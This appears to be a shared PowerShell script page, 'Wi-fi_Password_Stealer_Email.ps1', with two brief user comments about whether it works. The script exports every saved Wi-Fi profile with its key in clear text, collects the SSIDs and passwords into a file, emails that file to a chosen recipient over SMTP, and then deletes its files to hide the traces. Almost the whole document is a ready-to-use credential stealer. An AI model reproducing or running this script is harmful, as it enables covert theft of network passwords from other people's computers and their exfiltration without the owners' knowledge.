This script get Wi-Fi informations stored on the computer and sent it by mail.

Wi-fi_Password_Stealer_Email.ps1

<#
.SYNOPSIS
	Steals the wifi information from the computer and send it by email.
.DESCRIPTION
	The script retrieves the wifi information, parses them, sends this information by email and erases the traces.
.EXAMPLE
	.\Wi-fi_Password_Stealer_Email.ps1
#>

#Creation of the temp directory and moving into it
$directory = "C:\Wi-fi_Password_Stealer_Email" ; mkdir $directory ; cd $directory

#Functions
$computer_name = "$env:computername"
$file_name = $computer_name + ' - Passwords.txt'

#Export of all saved wi-fi profiles
netsh wlan export profile key=clear

#Export info from xml files to a txt file
dir *.xml |% {
    $xml=[xml] (get-content $_)
    $a= "========================================`r`n SSID : "+$xml.WLANProfile.SSIDConfig.SSID.name + "`r`n Password : " +$xml.WLANProfile.MSM.Security.sharedKey.keymaterial
    Out-File $file_name -Append -InputObject $a
}

#Mail settings
$encode = [System.Text.Encoding]::UTF8
$sender = "SENDER_EMAILADRESS"
$password = "SENDER_EMAILADRESS_PASSWORD"
$recipient = "RECIPIENT_EMAILADRESS"
$subject = $computer_name + " - Wi-Fi Passwords"
$body = "Here are all the Wi-Fi Passwords saved on the pc  '" + $computer_name + "' (available as an attachment)."
$attachment = $file_name

#Sending the email with the attachment in txt
Send-MailMessage -SmtpServer "SMTP_SERVER" -Port 587 -From $sender -to $recipient -Subject $subject -Body $body -Attachment $attachment -Encoding $encode -Priority High -UseSsl -Credential (New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $sender, (ConvertTo-SecureString -String $password -AsPlainText -force))

#Erasing traces
rm *.xml ; rm *.txt ; cd .. ; rm $directory

doesnt work

checked output file and its blank

@alstergee I've just rested on multiple computer like W7, W10, W11 without issues.